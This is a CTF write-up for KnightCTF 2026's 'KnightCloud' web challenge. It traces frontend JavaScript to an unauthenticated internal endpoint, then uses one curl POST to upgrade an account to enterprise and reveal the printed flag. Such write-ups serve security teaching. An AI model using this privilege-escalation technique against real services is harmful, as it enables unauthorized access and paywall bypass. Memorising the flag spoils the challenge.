KnightCTF 2026 - Web 100 - KnightCloud

Table of Contents

Task

## KnightCloud

### 100 Points

Author

TareqAhamed

Your startup just signed up for KnightCloud's enterprise SaaS platform, but the premium features are locked behind a paywall. 
As a security researcher, you've been tasked to test their platform's security.
Can you find a way to access the premium analytics dashboard without paying?

> [http://23.239.26.112:8091/](http://23.239.26.112:8091/)

**Flag Format: KCTF{fl4g_HeR3}**

Enumeration

Inspecting the index page source shows us a couple of JS files being loaded.

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>KnightCloud - Enterprise Cloud Platform</title> <link rel="preconnect" href="[https://fonts.googleapis.com](view-source:https://fonts.googleapis.com/)"> <link rel="preconnect" href="[https://fonts.gstatic.com](view-source:https://fonts.gstatic.com/)" crossorigin> <link href="[https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap](view-source:https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap)" rel="stylesheet"> <script type="module" crossorigin src="[/assets/index-DH6mLR_s.js](view-source:http://23.239.26.112:8091/assets/index-DH6mLR_s.js)"></script> <link rel="modulepreload" crossorigin href="[/assets/vendor-JYw6Q_0K.js](view-source:http://23.239.26.112:8091/assets/vendor-JYw6Q_0K.js)"> <link rel="modulepreload" crossorigin href="[/assets/utils-VSpmzgsF.js](view-source:http://23.239.26.112:8091/assets/utils-VSpmzgsF.js)"> <link rel="stylesheet" crossorigin href="[/assets/index-DFH9T6sH.css](view-source:http://23.239.26.112:8091/assets/index-DFH9T6sH.css)"> </head> <body> <div id="root"></div> </body> </html>

Let’s take a look at the non-vendor one:

<script type="module" crossorigin src="[/assets/index-DH6mLR_s.js](view-source:http://23.239.26.112:8091/assets/index-DH6mLR_s.js)"></script>

Its minified/uglified so I've used https://beautifier.io/ to "beautify" it back into a more readable form. This gives us around ~900k of JavaScript code, which I won’t paste in full, just the interesting parts.

This one, for example, handles the user session:

localStorage.setItem("session_data",
  btoa(JSON.stringify({
    sub: "any",
    email: "[email protected]",
    subscription: "enterprise",
    role: "admin",
    iat: 0,
    exp: 9999999999
  }))
)

Also, there are a couple of internal admin endpoints exposed:

/api/internal/v1/migrate/user-tier
/api/internal/v1/migrate/user-data
/api/internal/v2/migrate/billing

Checking for user tier is completely handled on the front-end:

const c = r.subscriptionTier === "premium"

Later on, we can see there is a reference to the flag in the code, in the part that handles analytics data:

                        }), a && f.jsxs("div", {
                            className: "analytics-data",
                            children: [f.jsxs("div", {
                                className: "analytics-item",
                                children: [f.jsx("span", {
                                    children: "Total Requests"
                                }), f.jsx("strong", {
                                    children: a.totalRequests
                                })]
                            }), f.jsxs("div", {
                                className: "analytics-item",
                                children: [f.jsx("span", {
                                    children: "Active Users"
                                }), f.jsx("strong", {
                                    children: a.activeUsers
                                })]
                            }), f.jsxs("div", {
                                className: "analytics-item",
                                children: [f.jsx("span", {
                                    children: "Conversion Rate"
                                }), f.jsxs("strong", {
                                    children: [a.conversionRate, "%"]
                                })]
                            }), f.jsxs("div", {
                                className: "analytics-item",
                                children: [f.jsx("span", {
                                    children: "Revenue"
                                }), f.jsxs("strong", {
                                    children: ["$", a.revenue]
                                })]
                            }), f.jsxs("div", {
                                className: "analytics-item",
                                children: [f.jsx("span", {
                                    children: "Growth"
                                }), f.jsxs("strong", {
                                    children: [a.growth, "%"]
                                })]
                            }), a.flag && f.jsxs("div", {
                                className: "flag-display",
                                children: ["🎉 Congratulations! ", a.flag]

Which is behind "Premium Feature", requiring us to upgrade our account to enterprise.

There is also an upgradeUser function with a completely exposed and unauthenticated endpoint:

        updateUserTier: async (e, r) => {
            try {
                return (await c.post(`${S}${N.migrationEndpoints.userTier}`, {
                    u: e,
                    t: r
                })).data
            } catch (t) {
                return null
            }
        },
        syncUserData: async e => null,
        migrateBilling: async e => null
    };

With migration endpoints defined as:

        migrationEndpoints: {
            userTier: "/internal/v1/migrate/user-tier",
            userData: "/internal/v1/migrate/user-data",
            billing: "/internal/v2/migrate/billing"
        },

Exploitation

Since updateUserTier is exposed, we can get our user UID from local storage and attempt to upgrade our tier (t parameter) to enterprise.

~/Vault/isec/ctf/knight2k26/web100-ap  ✓ $ curl -X POST http://23.239.26.112:8091/api/internal/v1/migrate/user-tier -H "Content-Type: application/json" -d '{"u":"fa4eab86-a141-48ca-8133-6a97b76693ea","t":"enterprise"}'

{"success":true,"uid":"fa4eab86-a141-48ca-8133-6a97b76693ea","tier":"enterprise"}%

It succeeded, and if we go back to the dashboard and click Load Analytics under Advanced Analytics, the flag is displayed:

Flag

Flag is: KCTF{Pr1v1l3g3_3sc4l4t10n_1s_fun}